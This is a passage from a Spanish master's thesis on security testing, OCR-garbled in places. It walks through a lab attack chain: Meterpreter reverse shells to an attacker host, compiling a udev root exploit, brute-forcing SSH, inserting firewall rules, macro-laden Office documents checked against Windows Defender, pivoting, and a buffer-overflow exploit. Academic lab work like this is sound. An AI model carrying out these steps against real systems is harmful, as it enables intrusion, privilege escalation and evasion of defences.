servidor web, lo que hacemos ahora es insertar o cargar un payload en el servidor para
poder obtener privilegios de administrador. Para ello buscamos un exploit que nos permita

escalar privilegios basandonos en la informacién obtenida del equipo comprometido

Armitage

Armitage Wiew Hosts Attacks Workspaces Help

¥ [ payload
T Bphe
¥ [ meterpreter

|1 bind_tcp

|1 bind_tcp_ipve
|1 bind_tcp_ipvé_|
|1 bind_tcp_uuid
| reverse_tcp
| reverse_tcp_uy

. meterpreter_rev

ame: www-data (33)

> sysinfo
Comy metasploitable
0s Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
Meterpreter : php/Linux

meterpreter >

Figura 3-9 Pantalla de informacion del servidor DVWA

Técnica de ataque y explotacion al servidor de la DMZ y equipos de la red interna (LAN) 61



Luis Geovanny Cabrera Vazquez Maestria en Seguridad Informatica

Como podemos ver en la figura 3-9, no tenemos privilegios como administrador ya que el id
del usuario es 33 (uid=33), pero nos sirve de mucho la informacion la version del kernel
(2.6), que es la que utilizaremos para buscar un exploit y obtener permisos de administrador.
Dentro de la base de datos del metasploit buscamos con el comando “searchsploit”.

| linux

[+ root : bash

Figura 3-10 Pantalla de busqueda de exploit para escala de privilegios

Dentro del listado de exploits tendremos en cuenta el siguiente:
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Privilege Escalation (2)

Este exploit es un archivo con extension “.c” (8572.c), el cual lo subiremos al servidor web

comprometido.

Buscar en: |[ﬁ local

[ 744.c [ 7681.tt [ 7856wt [ 8l6.c [ 8478.5h
M 75.¢ [ 776.c [ 788.pl M 824.c [y 8534.c
[ 756.¢ [ 778.c [ 791.c [ 8303.c [ 8572.c
[ 7618.c [ 779.5h [ 792.c [ 8369.sh  [f8673.c
[ 763.c [ 7855t [ 796.sh M 8a70.py  [f8678.c

L .

r_reverse_tcp X T Files 3 X]

Nombre de archive: 8572.c

ilities/fi
Size Archives de tipo: | Todos los archivos v] HEEE
_ A0755/rwxr-xr-x
Abrir Cancelar | A0 TS5/ TWHT KK
2kb L J 100644 /rw-r--r—
488b 2012-05-20 14:22:48 -0500 100644 /rW-r--r--
890b 2017-06-24 19:44;08 -0500 100644/rw-r--r-
26kb 2017-07-09 23:35:40 -0500 100644 /rW-r--r--
183b 2017-07-10 16:49:58 -0500 100644/ rw-r--r--
8kb 2017-07-10 09:19:24 -0500 100755/ rwsr-xr-x
430b 2017-07-11 03:45:08 0500 100644 /rw-r--r--

Figura 3-11 Pantalla de subida de exploit para escalar privilegios

Una vez que el archivo se encuentra subido al servidor comprometido procedemos a

compilarlo con el nombre de rootme.
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Figura 3-12 Pantalla de compilacion del exploit para escalar privilegios

meterpreter > shell
Process 4685
Cl el O created.

include.php
index.php
mpayload.php
[EVAUET
rootme
source

udev

meterpreter = gcc 8572.c -0 rootme

Maestria en Seguridad Informatica

Lo siguiente es crear y subir un payload ejecutable (.elf) para Linux que es el sistema del

servidor comprometido. Este payload permitird realizar la conexion desde el servidor hacia la

maquina atacante.

L\ |
/J »
linux/x86/meterpreter/reverse_tcp o ® O
Lid Linux Mettle x86, Reverse TCP Stager
Inject the mettle server payload (staged). Connact back to the attacker

3 Option 4| value
p LHOST 192.168.1.107
q LPORT 4445
d

Figura 3-13 Pantalla de creacion del payload para escalar privilegios

r_reverse_tc|

Output: | elf v

|_J Show advanced options

| Launch |

[ Console X T php/meterpreter_reverse_tcp X T Files 3 X T Meterpreter 3 X T Files 4 X

| = | | Nvariwww/dvwaivuinerabilities/fi

D 4| Name Size

& help

[ source
8572.c 2kb
include.php 488b
index.php 890b
mpayload.php 26kb

= 1830
I rootme Skb I

Figura 3-14 Pantalla de subida del payload para escalar privilegios

Y por ultimo ponemos en escucha el Armitage y ejecutamos los siguientes comandos
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[ Console X ] php/meterpreter reverse tcp X ] Meterpreter 3 X ] linuxfx86/meterpreterfreverse_tcp X

msf = use exploit/multi/handler
msf exploit( ) = set PAYLOAD Linux/x86/meterpreter/reverse tcp
PAYLOAD == Llinux/x86/meterpreter/rev
 f ) = set LHOST 192,168.1,!
== 192,168, 1.107
msf exploit( ) > set LPORT 4445
LPORT == 4445
msf exploit( ) = set ExitOnSession false
ion => false
msf exploit( ) = exploit -j
Exploit running as background job.
Started reverse TCP handler on 192.168.1.107:4445
Starting the payload handler...

msf exploit(

Figura 3-15 Pantalla de escucha para conexion de la escala de privilegios

[ console x| php/meterpreter_reverse_ tcp X | Meterpreter 3 X | linuxix86/meterpreterfreverse_tcp X | sh 4717@5 X

include.php

index.php

mpayload.php

[EVAUEL

rootme

source

udev

$ cp payloadS /tmp/run

$ ps auxt | grep udev == udev
$ cat udev

100 fshin/udevd --daemon
100 fshinjudevd --daemon
100 /shin/udevd --daemon
100 fshin/udevd --daemon
:00 fshin/udevd --daemon
100 fshin/udevd --daemon

Figura 3-16 Pantalla de ejecucion de comandos (./rootme 2342) para escalar privilegios

| meterpreter_reverse_tcp
v [ x86
T & meterpreter

| bind_ipvé_tcp
| bind_ipv&_tcp_uuid h
1 bind_nonx_tcp 192.168. 122, .
™ bind_tcp uid=0, gid=0, euid=0, egid=0 @ metasp
| bind_tcp_uuid
| find_tag
| reverse_ipv6_tcp
|| reverse_nonx_tcp
. reverse_tcp

O VTN |

meterpreter

[ Console XT php/meterpreter_reverse_tcp X T linux/xB86/meterpreter/reverse_tcp X T sh ¢

$ id
uid=0(root) gid=0(root)

Figura 3-17 Pantalla de obtencion de privilegios en el Servidor Web
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Como finalmente obtuvimos privilegios de administrador en el servidor web procedemos a
ejecutar un ping sweep. Este ping lo que hace basicamente es descubrir hosts de la subred
que se encuentren activos y que responden a solicitudes enviadas a través de la red, para
posteriormente realizar un escaneo de puertos y ver los servicios que estan disponibles y

que podrian ser vulnerados. Todo esto se conoce como la técnica del pivoting.

Armitage

Armitage View Hosts Attacks Workspaces Help

» (& ppcsale
> [ x64
v (5«86

v E meterpreter

| 1 bind_ipvé_tcp

|1 bind_ipv&_tcp_uuid
| 1 bind_nonx_tcp
| 1 bind_tep
|1 bind_tep_uuid
| 1 find_tag
| 1 reverse_ipv6_tcp
|1 reverse_nonx_tcp
. reverse_tcp
| | reverse_tcp_uuid

meterpreter

[ Console X T php/meterpreter_reverse_tcp X T linuw/xB88/meterpreter/reverse_tcp X T sh 4772@7 X I post X]

use post/multi/gather/ping_sweep
10.0.2.0/24

) = set SESSION 7

msf post( ) > run -j
[*] Post module running as background job

[*] Performing ping sweep for IP range 10.0.2.0/24
[*] 10.0.2.1 host found

Figura 3-18 Pantalla de ping sweep en el servidor web

Armitage

Armitage View Hosts Attacks Workspaces Help

- ppcbdle
> (B 64
¥ (& x86

A E meterpreter
bind_ipvé_tcp
bind_ipv6_tcp_uuid
bind_nonx_tcp
bind_tep
bind_tep_uuid
find_tag
reverse_ipv6_tcp
reverse_nornx_tcp
. reverse_tcp
|1 reverse_tcp_uuid

meterpreter

M9, 6
6004, 6005, 6006,

I;lif auxiliary (tcp) > run -j
Auxiliary module running as background job
10.0.2.1 - .0.2 TCP OPEN

10.0.2,1 - 10 ' - TCP OPEN
Scanned 1 of 1 hosts (100% co

Starting host discovery scans

2 scans to go...

Figura 3-19 Pantalla de escaneo de puertos del firewall
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En la figura 3-19 se puede ver que los servicios de telnet (puerto 23) y ssh (puerto 22) estan

disponibles en el equipo con IP 10.0.2.1 (firewall)

Procederemos entonces a realizar un ataque por fuerza bruta al servicio ssh para obtener
acceso y proceder a cambiar una regla que nos permita conectarnos de forma remota desde

el internet hacia la red interna.

3.5.2 ATAQUE AL FIREWALL
3.5.2.1 OBJETIVO

El objetivo de este ataque es poder vulnerar el servicio ssh del firewall mediante un ataque
por fuerza bruta para modificar una regla del iptables que nos permita obtener acceso

remoto hacia la red interna.

3.5.2.2 ATAQUE POR FUERZA BRUTA

Para realizar el ataque de fuerza bruta al servicio ssh del servidor, vamos primeramente a
buscar un posible auxiliar que nos puedan servir. Para ello lo buscamos con el comando

“search ssh”.

[Conso\e XTphp/meterpreter_reverse_tcp XI\inuxh(Bﬁlmeterpreterfreverse_tcp XTsh 4627@1 X]
dURLLLATY/SCANNEr /IILLPfLLSCO_TLTEpUWer_LogLn normd L LISCD FLTEPUWET MdldYEmEnL LoNs0Le 0.U LogLn
auxiliary/scanner/http/qitlab_user_enum normal Gitlab User Enumeration
auxiliary/scanner/ssh/apache_karaf_command_execution 2016-02- normal Apache Karaf Default Credentials Command Execution
auxiliary/scanner/ssh/cerberus_sftp_enumusers 2014-05-27 normal Cerberus FTP Server SFTP Username Enumeration
auxiliary/scanner/ssh/detect_kippo normal i Honeypot Detector
auxiliary/scanner/ssh/fortinet_backdoor 2016-01-09 normal or r Scanner
auxiliary/scanner/ssh/juniper_backdoor 2015-12-20 normal iper SSI oor Scanner
auxiliary/scanner/ssh/karaf_login normal Apache Karaf Login Utility
auxiliary/scanner/ssh/ssh_enumusers normal SSH Username Enumeration

auxiliary/scanner/ssh/ssh_identify pubkeys normal SSH Public Key Acceptance Scanner
auxiliary/scanner/ssh/ssh_login normal SSH Login Check Scanner
auxiliary/scanner/ssh/ssh_login_pubkey normal SSH Public Key Login Scanner
auxiliary/scanner/ssh/ssh_version normal SSH Version Scanner
exploit/apple_ios/ssh/cydia_default_ssh 2007-07-02 excellent Apple i0S Default SSH Password Vulnerability
exploit/Linux/http/alienvault_exec 2017-01-31 excellent AlienVault 0SSIM/USM Remote Code Execution
exploit/Linux/ssh/ceragon_fi known_privkey 2015-04- excellent i vate Key Exposure
A e v A

R R N

Aumladdild
nsf exploit( ) >

nwnalland At Nafanld Noceone,

Figura 3-20 Pantalla de busqueda de un exploit para ssh

En la figura 3-20 podemos ver que existe el auxiliar “auxiliary/scanner/ssh/ssh_login”. Si
ejecutamos el comando “info auxiliary/scanner/ssh/ssh_login”, nos indicara que este médulo

es utilizado para probar logins de ssh y nos reportara los logins exitosos.

Dentro de la consola (linux/x86/meterpreter/reverse_tcp) del equipo (Servidor Web) que se

obtuvo privilegios usamos el auxiliar que encontramos para el ataque.
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[ Console X T phpimeterpreter_reverse_tcp X T linux/xB86/meterpreter/reverse_tcp X
USERNAME no A specific username to a
USERP no File containing users an

3 no Try the username as the

1 | no File containing username
VERBOSE yes Whether to print output

Description:
This module will test ssh logins on a range of machines and report
successful leogins. If you have loaded a database plugin and
connected to a database this module will record successful logins
and hosts so you can track your access.

References:
https: f/cvedetails.com/cve f/CVE- 1999-0502,/

msf exploit( ) =/use auxiliary/scanner/sshy/ssh_Llogin

Figura 3-21 Pantalla de uso de un auxiliar para explotar el ssh

Procedemos a configurarlo, para esto nos valemos del comando “show options”, para saber
los pardmetros que debemos modificar

[ Console X T php/meterpreter_reverse_tcp X T linux/x88/meterpreter/reverse_tep X

BLANK_PASSWORDS Try blank passwords for a
BRUTEFORCE_S ! How fast to bruteforce, f
S Try each user/password co

Add all passwords in the
Add all users in the curr

A specific password to au

File containing passwords

The target address range

22 The target port
STOP_ON_SUCCESS  false Stop guessing when a cred

The number of concurrent
A specific username to au
File containing users and
false Try the username as the p

File containing usernames

[ala et Tl ol Ll - Lihadthae o omedod andooad F

mgjfauxiliary( e

THREADS 1

Figura 3-22 Pantalla de los de parametros para explotar el ssh

Los parametros marcados en la figura 3-22 se detallan a continuacion:

— BLANK_PASSWORDS: este valor verifica la existencia de password en blanco

— PASS FILE: aqui se especifica la ruta del archivo (diccionario) que contendra los
posibles password. Para la demostraciébn se creé el archivo password.txt con el
siguiente contenido:
— 1234, administrador, admin, admin3870, Luis, Geovanny

— RHOSTS: aqui se especifica la IP del equipo remoto al que realizaremos el ataque, en
este caso la direccion del firewall (10.0.2.1)

— USER_FILE: aqui se especifica la ruta del archivo (diccionario) que contendra los
posibles usuarios. Para la demostracion se cre6 el archivo usuarios.txt con el siguiente
contenido:

— Root, juan, pedro, admin, administrador, carlos, Luis
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msf auxiliary( } = set BLANK_PASSWORDS true

BLANK_PASSWORDS == true

msf auxiliary( ) = set PASs_FILE froot/Escritorio/fpasswords.txt
PASs FILE == froot/Escri [

msf auxiliary( )} = set RHOSTS 10.0.2.1

RHOS == 10,0.2.1
mst auxiliary( ) = set USER FILE /root/Escritorio/usuarios.txt
USER_FILE == froot/Escritorio/fusuarios.txt

msf auxiliary(

Figura 3-23 Pantalla de configuracidn del auxiliar para explotar el ssh

Una vez configurado los parametros ejecutamos el comando “run” para iniciar el ataque.

Armitage View Hosts Attacks Workspaces Help

[ TELCTTanTL_Lreus

|1 filezilla_client_cred
L1 find_vmx

|1 firefox_creds

L gpg_creds

|| irssi_creds

| 1 lastpass_creds

| 1 netrc_creds

|1 pgpass_creds

|| pidgin_cred
B ping_sweep
| remmina_creds
|1 rubygems_api_key
| 1 ssh_creds

| 1 thunderbird_creds v

php/
—

SH - Starting bru
- Failed: "roo
- Failed: 'ri 4!
- Failed radministrador'
- Success
GNU/Linux *
mmand shell se
- Failed

- Failed

= Could not co execution expired

- Failed: *juan:admil

- Failed

- Failed

- Failed
i1ad

Figura 3-24 Pantalla de explotacion del servicio ssh del firewall
3.5.2.3 MODIFICACION DE LA REGLA DEL FIREWALL

Para modificar la regla ingresamos a la shell del firewall (10.0.2.1) que nos da Armitage,
luego debemos identificar cuél es la regla que esta blogueando la conexiéon remota hacia la
red interna. Para ello almacenamos las reglas a un archivo para revisarlas de forma mas

rapida y lo hacemos con el siguiente comando: iptables -t filter -L --line-numbers >> mirariptables
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Armitage View H
[y rete
L fil X

| find_vmx

|7 firefox_creds

| gpg_creds

|| irssi_creds

| 1 lastpass_creds

| 1 netrc_creds

|| pgpass_creds

| 7 pidgin_cred

B ping sweep

|| remmina_creds

| 7 rubygems_api_key

| 1ssh_creds

L] thunderbird_creds v

s Attacks Workspaces Help

prot opt source destination
icmp --  anywhere anywhere J* ACEPTAR CONEXION DESDE LA L.
- anywhere anywhere multiport dports http,https /*
S HTTP Y HTTPS */
- anywhere anywhere tcp spts:1024: 65535 dpts:1024:4

- anywhere anywhere udp spts:1024:65535 dpts:1024:

- anywhere anywhere

Chain loc_frwd (1 references)

num target prot opt source destination

1 dynamic all -- anywhere ctstate INVALID, NEW,UNTRACKED
2 ACCEPT all -- anywhere e ctstate RELATED, ESTABLISHED
3 fs all -- anywhere ctstate INVALID,NEW,UNTRACKED

Figura 3-25 Pantalla de obtencidn de las reglas del firewall

Con el comando “cat mirariptables” listamos las reglas e identificamos las que estan

blogueando la conexién.

[Conso\e XTphpfmeterpreter_reverse_tcp XT\inuxfxﬁSfmeterpreterﬂreverse_tcp XTSheHlS X}

Chain loc-net (1 references)

num target  prot opt source destination

1 ACCEPT icmp --  anywhere anywhere /* ACEPTAR CONEXION DESDE LA LAN HACIA EL INTERNET VIA ICHP */

2 ACCEPT  tcp -- anywhere anywhere multiport dports http,https /* ACEPTAR CONEXION DESDE LA LAN HACIA EL INTERNET VIA TCP POR
LOS PUERTOS HTTP Y HTTPS */

3 t tcp -- anywhere anywhere tep spts:1024:65535 dpts:1024:65535 /* RECHAZAR CONEXION DESDE LA LAN HACIA EL INTERNET POR

udp -- anywhere anywhere udp spts:1024:65535 dpts:1024:65535 /* RECHAZAR CONEXTON DESDE LA LAN HACIA EL INTERNET POR

all -- anywhere anywhere

Chain loc_frwd (1 references)

num target  prot opt source destination

1 dynamic  all -- anywhere anywhere ctstate INVALID,NEW, UNTRACKED
2 ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
$ cat mirariptables|

Figura 3-26 Pantalla de identificacion de la regla a modificar

En la figura 3-26 se puede observar que la regla nimero 3 y 4 (tabla filter/Cadena loc-net)
estan impidiendo la conexidon desde la LAN hacia el internet por medio de los puertos
1024:65535. Para agregar una regla que nos permita la conexion ejecutamos el siguiente

comando:

sed -i '19i ACCEPT loc net tcp 1024:65535 1024:65535' rules
sed -i '19i ACCEPT loc net udp 1024:65535 1024:65535' rules

Como el iptables esta configurado con shorewall, estos comandos lo que hacen es insertar

desde la linea 19 las reglas en el archivo rules, para permitir conexion tanto de los
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protocolos TCP como UDP. Las reglas en shorewall se podria decir que tienen una jerarquia
de lectura de arriba para abajo, por lo tanto estas sobrescribiran las reglas que deniegan el
acceso a dichos puertos (1024:65535).

3.5.3 ATAQUES A LA RED INTERNA DESDE EL EXTERIOR

3.5.3.1 ATAQUE AL COMPUTADOR CON WINDOWS
3.5.3.1.1 OBJETIVO

El objetivo de este ataque es obtener un acceso remoto aprovechando la vulnerabilidad que
se presenta en Microsoft Office Excel 2013 mediante macros maliciosas. Estas macros

pueden ejecutar codigo que permiten la conexion con un equipo remoto.

3.5.3.1.2 EXPLOTANDO WINDOWS 10 MEDIANTE UN ARCHIVO DE EXCEL
Una vez que ha sido modificada la regla del iptables que nos permite realizar la conexion
remota hacia la red interna, podemos configurar el Armitage para que esté en escucha y

ejecutar en el equipo victima el archivo de Excel que contiene la macro maliciosa.

r

windows/meterpreter/reverse_tcp e ® O

Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Inject the meterpreter server DLL via the Reflective DIl Injection payload
(staged). Connect back to the attacker

-

Option A4 | Walue |

EXITFUNT Process i
lterations Zl
KeepTemplateWorking

LHOST 192.168.1.107
LPORT 4446
Template + A

Output: | multifhandler =

| | Show advanced options

Launch

Figura 3-27 Configuracién de parametros de “windows/meterpreter/reverse_tcp”

Antes de ejecutar el archivo primero procedemos a analizarlo con el Windows Defender y

asi constatar que es indetectable.
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Windows10 [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda

= | Documentos (Vivboxsr) (E)
Papelera d
reciclaje Archivo Inicia Compartir Vista

MNombre
3 Acceso rapido
Acunetix WVS 9

i@ OneDrive MaquinasVmware
VMwareTools-10.1.6-5214329

5 ~Ssfa4d6

| | asaB02-k8.initrd.gz

| ] asaB02-k8.kernel

B infected_eshWyznw

[ Este equipo
‘o Disco local (C)

§# Unidad de CD (D) Vit

¥ Red B infected_a3hHOWLI
[H DESKTOP-3R56RCS 0 Microsoft Office Profesional Plus 2010 VL x86
[ VBOXSVR 0 Office Professional Plus 2013

EP putty

5] sw test
|5 Titulo
B viruspdd

*& Grupo en el hogar

<

14 elementos 1 elemento seleccicnado 957 KB

' B @& FEE & Q@ @ Cirl Derecho

« A == » Esteeq.. » Documentos (Vivboxsr) (E:) v O

Maestria en Seguridad Informatica

Buscar en Documentos (V\wb.. 0

Fecha de modifica...

Abrir

Nuevo
Imprimir
& SkyDrive Pro >

Ea Examinar con Windows Defender...

Abrir con...

Restaurar versiones anteriores

Enviar a >

Cortar

Copiar

Crear acceso directo
Eliminar

Cambiar nombre

Propiedades

1:26 =]
0/07/2017 T2

Figura 3-28 Andlisis del archivo infectado con Windows Defender

Windows10 [Corriendo] - Oracle VM VirtualBox 5 @

Archivo Maquina Ver Entrada Dispositivos Ayuda
EQ Windows Defender
Estado del equipo: Protegido

Historial

Examen completado en 1 elemento

Mo se detectaron amenazas en el equipe durante este examen.

Su equipe esté siende meniterizado y protegide.

& Proteccion en tiempo real: Activada

@ Definiciones de virus y spyware:  Actualizadas

Detalles del examen

Uttimo examen: Hoy  las 17:23 (Examen rapido)

Configuracién

Opciones de examen:

@ Répido
() Completo

O Personalizado

Examinar ahora

R L1756
N =L

B @& £ EE @ @ @ @ Cul Derecho

Figura 3-29 Resultado del analisis de Windows Defender sobre el archivo infectado

En la figura 3-29 efectivamente verificamos que el archivo es indetectable por Windows
Defender. Ahora al abrir el archivo y si el usuario hace caso al mensaje “Por favor habilite el
contenido de este archivo dando click en habilitar contenido” (habilita la macro), sera

suficiente para que Armitage que esta en la escucha por el puerto 4446 pueda obtener una

conexién remota.
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Windows10 [Corriendo] - Oracle VM VirtualBox @ O ¢
Archivo Maquina Ver Entrada Dispositivos Ayuda
H = infected_o3hHOWLI [Modo de compatibilidad] - Excel T EH - x
INICIO INSERTAR DISERIO DE PAGINA FORMULAS DATOS REVISAR VISTA Iniciar sesion
X% Calibri -1 - =3 General - %Furmatu condicional = g‘“\nzartar - #

EF
= E- 9 m EDaanrmam como tabla = E Eliminar =

EE " NKkS-TAA = Maodificar
¥ - DA~ 3= - 2 38 7 Estilos de celda~ [ Formato - -
Portapapeles Fuente ] Alineacion o Namero ] Estilos Celdas
| ADVERTENCIA DE SEGURIDAD Las macros se han deshabilitado. Habilitar contenido X
Ad - b2 v
A B C D E F G H 1 -
1 |Por favor habilite el contenido de este archivo dando click en Habilitar contenido
2
3
o]
']
5
6
7
8
9
10
11
12
13
11 -
Hojal + 4 3

A~ m T ‘ . B
BEFFEEE O G @ CulDerecho

Figura 3-30 Pantalla de apertura del archivo en el Office 2013

Armitage View Hosts Attacks Workspaces Help

¥ (5 w86 i
v (& meterpreter
| bind_ipw6_tcp
| bind_ipw6_tcp_uuid
[ bind_nor«_tcp
| bind_tep
| bind_tep_uuid
[ find_tag
[ reverse_ipv6_tcp
[ reverse_nomx tcp
[ reverse_tcp_uuid
[ meterpreter_reverse
[ meterpreter_reverse

b

linux meter

[ console x

php/meterpreter reverse tcp X | sh 4668@1 X | linux/xB6/meterpreterireverse tcp X

Boot
ents and Settings

x
40777 /rwx rwx rwx
40777 /rwx rwx rwx - overy
40777 /rwX rwx rux 2 - System Volume Information
40555/r-xr-xr-x
40777 /TWX MWE WX 2017-07-
100777 / PWX rwx rwx i 2016-07-
1004 i 2017-0
i 2016-07-

5
2017-07- - pagefile.sys
2017-07- 25 - swapfile.sys

Figura 3-31 Explotacion de Windows 10 mediante macro de Excel Office 2013

3.5.3.2 ATAQUE AL COMPUTADOR CON LINUX
3.5.3.2.1 OBJETIVO

El objetivo de este ataque es acceder remotamente aprovechando la vulnerabilidad que se
presenta en LibreOffice mediante macros maliciosas. Estas macros pueden ejecutar codigo
que permiten la conexion con un equipo remoto. Ver apartado 2.6 para generar este tipo de

documentos.
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3.5.3.2.2 EXPLOTANDO UBUNTU MEDIANTE UN DOCUMENTO DE LIBREOFFICE
Como sabemos el entorno hasta este punto esté explotado para permitir la conexion remota
con cualquier equipo que estuviera dentro de la red interna y no es la excepcion Ubuntu, por

lo tanto procedemos a configurar la herramienta Armitage para ejecutar el exploit.

multi/misc/openoffice_document_macro e ® O
Apache OpenOffice Text Document Malicious Macro Execution
This module generates an Apache Open0Office Text Document with a malicious macro in 4

it. To exploit successfully, the targeted user must adjust the security level in Macro
Security to either Medium or Low. If set to Medium, a prompt is presented to the userto [

mmabla e dicahlo tho mocra B oot to ]l oae tho mocra con codbamaticalbs rom owithoo b amee

2w —
Option 4| Value |
BODY A
DisablePayloadHandler false Iy
ExitOnSession false
FILENAME + msf odt
LHOST 192.168.1.107
PAYLOAD + python/meterpreter_reverse_tcp
SRVHOST 192.168.1.107
SRVPORT 2080 r
551 0 o

Targets; |1 == Apache OpenOffice on Linux/OSX (Python) .v]

] show advanced options

Launch

Figura 3-32 Configuracion del médulo “multi/misc/openoffice_document_macro”

Para realizar una comprobacion desde Ubuntu procedimos a abrir el documento desde el

correo electrénico, el cual se abrié sin ningn problema como podemos observar en las
siguientes imagenes.

‘You have chosen to open:

msf 1.0dt
Buscar en Correo y C¢

which is: ODT document o *
from: https://outlook.live.com
~ Carpetas What should Firefox do with this File?
Bandeja de
naeja de er @gpen with | OpenOffice 4.1.3 Writer (default) ~
Correo no desg .
Save File
Borradores
Do this automatically for files like this from now on.
Elementos envi
Elementos elim
2 Cancel of OK
= 2 o QCancel | | fOK

Microsoft

Figura 3-33 Apertura del documento desde el correo electrénico

Si el usuario o la victima al momento de abrir el archivo activan la ejecucién de macros,

autométicamente Armitage que estd en la escucha por el puerto 4447 establecera una
conexion remota con el atacante.
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Ubuntu [Corriendo] - Oracle VM VirtualBox - O

Archivo Maquina Ver Entrada Dispositivos Ayuda
@Applications Places System ‘r) ) T3 == Tue Jul25, 10:28 (O

* OpenOffice- Aviso de Seguridad

1 ftmp/mozilla_geovanny0/msF 1.odt

El documento contiene macros.

Las macros pueden contener virus. La desactivacion de macros para
un documento siempre es segura. Si desactiva las macros, puede
perder las funciones que éstas proporcionan.

iDesactivar Macros) Ayuda

™ © Correo-geova3870@h... & OpenOffice 4.1.3

B @& & aO= & @ @ [E Crl Derecho

Figura 3-34 Activacion de la macro del documento de LibreOffice

Armitage

Armitage View Hests Aftacks Workspaces Help

v (& exploit
v (5 multi
v (55 fileformat
[ office_word_macro
v (5§ misc
v (58 windows
v (5 browser 10. .
E7 macrovision_downloadandexecute asploitable.localdomain geovanny @ ubuntu
[ macrovision_unsafe

macro

Console X | php/meterpreter reverse tcp X [ sh 4646@1 X [ linuxx86/meterpreter/reverse tep X | multijmisc/opencffice_decument macra X

L

[*] Packaging file: settings.xml

[*1 Packaging file: manifest.rdf

[*1 Packaging file: meta.xml

[*] Packaging directory: fusrfshare/metasploit-framework/data/exploits/openoffice_document macro,/Thumbnails
[*1 Packaging file: Thumbnails/thumbnail.png

[*1 Packaging file: centent.xml

[*] Packaging directory: fusr/share/metasploit-framework/data/exploits/openoffice_document macro/Basic

[*1 Packaging file: Ba

[*] Packaging director

[*1 Packaging file: Ba
[*1 Packaging file: Ba
[*] Packaging directory

o - Sending payload
1.107:4447 -> 66:46452) at 2017-07-25 1.

Figura 3-35 Explotacion de Ubuntu mediante macro de LibreOffice

3.5.4 ATAQUES A LA RED INTERNA HACIENDO PIVOTING

En esta seccidn se va atacar Ubuntu y Windows ejecutando un programa vulnerable a buffer
overflow. El programa con esta vulnerabilidad es nativo de Windows y para ejecutarlo en
Ubuntu se utilizara el emulador de Wine. Esto lo hacemos porque en Ubuntu no se encontro
programas que estén actualmente en uso y que presenten este tipo de vulnerabilidades, los
que presentan fallos de seguridad por lo general son aquellos que ya son obsoletos y estan

fuera de uso.
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El programa que se utilizara y que presenta la vulnerabilidad de desbordamiento de buffer
es el Easy File Sharing HTTP Server 7.2 (Ultima version) y que es utilizado para la
transferencia de archivos via web. Esto nos permitirdA mas adelante en la seccidén de analisis
comparativo determinar si las tecnologias de ASLR y DEP en Windows y Linux pueden
contrarrestar este tipo de vulnerabilidad.

En la figura 3-24 se puede apreciar que el servicio SSH del Firewall se encuentra explotado,
esto nos da la posibilidad de usar la técnica del pivoting para explotar las vulnerabilidades

de los equipos que se encuentran en la red interna.

En la figura 3-26 se observa que el ataque por fuerza bruta nos da una shell de comandos,
y para poder hacer el pivoting necesitamos obtener una sesién meterpreter. Para conseguir
la sesion meterpreter a partir de una shell de comandos utilizamos el modulo

“multi/manage/shell_to_meterpreter”.

multi/manage/shell_to_meterpreter e 0 &

Shell to Meterpreter Upgrade

This module attempts to upgrade a command shell to meterpreter. The shell |4
platform is automatically detected and the best version of meterpreter for the [
target is selected. Currently meterpreterireverse_tcp is used on Windows and

Limine itk 'modbamirest srnrstosrirccssre s tend iead Aam sl At loree
-

L4

Option 4 [ Walue |
LHOST 192.168.1.107

LFPORT 4450

SESSION + 3

|| Show advanced options

Launch

Figura 3-36 Configuracion del médulo “multi/manage/shell_to_meterpreter”

Una vez ejecutado el modulo de la figura 3-36 realizamos el pivoting afiadiendo la ruta de la
red interna (192.168.2.0) para poder realizar un ping sweep y descubrir los equipos activos
gque se encuentran en ella. Para agregar una ruta se puede utilizar el siguiente comando
desde la consola de Armitage: route ip mascara sesion = route 192.168.2.0 255.255.255.0 3
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Armitage [-
Armitage View Hosts Attacks Workspaces Help

v (@ post
¥ (& multi
¥ (& manage

B shell_to_meterprete|

10.0.2.2 o

.66
uid=0, gid=0, euid=0, egid=0 @ me &St Twbhiaktedhddabd g 20)yid=0, egid

shell to meter

X

multifmanage/shell to_meterpreter X | post X

Console X | linux/x86/meterpreterfreverse_t

msf > use post/multi
' >

> set SESSION 9

> run -j

ng as background jeb

2.3 i
2 host found equipos de la red interna

1 host found

Figura 3-37 Pantalla de descubrimiento de equipos desde el firewall

3.5.4.1 ATAQUE AL COMPUTADOR CON WINDOWS
3.5.4.1.1 OBJETIVO

El objetivo de este ataque es acceder remotamente aprovechando la vulnerabilidad del

programa Easy File Sharing HTTP Server de Windows 10 en su Ultima versiéon que es la 7.2

3.5.4.1.2 EXPLOTANDO EASY FILE TRANSFER EN WINDOWS
En la figura 3-37 vemos que la conexién al equipo con Windows es factible, entonces

procedemos a configurar el exploit para aprovechar la vulnerabilidad existente.

Attack e e 9‘

Easy File Sharing HTTP Server 7.2 SEH Overflow

This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.

Option 4| Value
LHOST 182.168.1.107
LPORT 4451

RHOST + 192.168.2.2
RPORT 80

Targets: |0 == Easy File Sharing 7.2 HTTP _VJ

|| Use a reverse connection

|| Show advanced options

| Launch |

Figura 3-38 Exploit para Easy File Sharing HTTP Server 7.2

Ejecutando el exploit de la figura 3-38 obtendremos la explotacion de Windows 10 como

podemos observar en la siguiente imagen..
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Armitage

Armitage View Hosts Attacks Workspaces Help

¥ (& auiliary
¥ (& admin i
¥ (@ http 4
[ wp_easycart_privilege_escalati n o
¥ [ dos n
¥ & windows
v@fp
[ xmeasys60_nist 10.0.2.1 1
[ xmeasy570_nist i 0, euid=o 0@ p Tt h e i 251« 20):
v [ scanner
v (& ftp
[ easy_file_sharing_ftp
v (@ misc

[] easycafe_server fileaccess
.5 i

easy

& Easy File Sharing Web Server — o
Server Help

| 0 © | =

Stop | “artSSl StopSSL | About

port: Resat
URL: hitp://192.168.2.2 v ||Go
SSLPort: | 443 Restart

Refresh Watch (10s)

Figura 3-39 Explotacion de Windows con el exploit para Easy File Sharing HTTP Server 7.2

3.5.4.2 ATAQUE AL COMPUTADOR CON UBUNTU
3.5.4.2.1 OBJETIVO

El objetivo de este ataque es acceder remotamente aprovechando la vulnerabilidad del

programa Easy File Sharing.

3.5.4.2.2 EXPLOTANDO EASY FILE TRANSFER EN UBUNTU
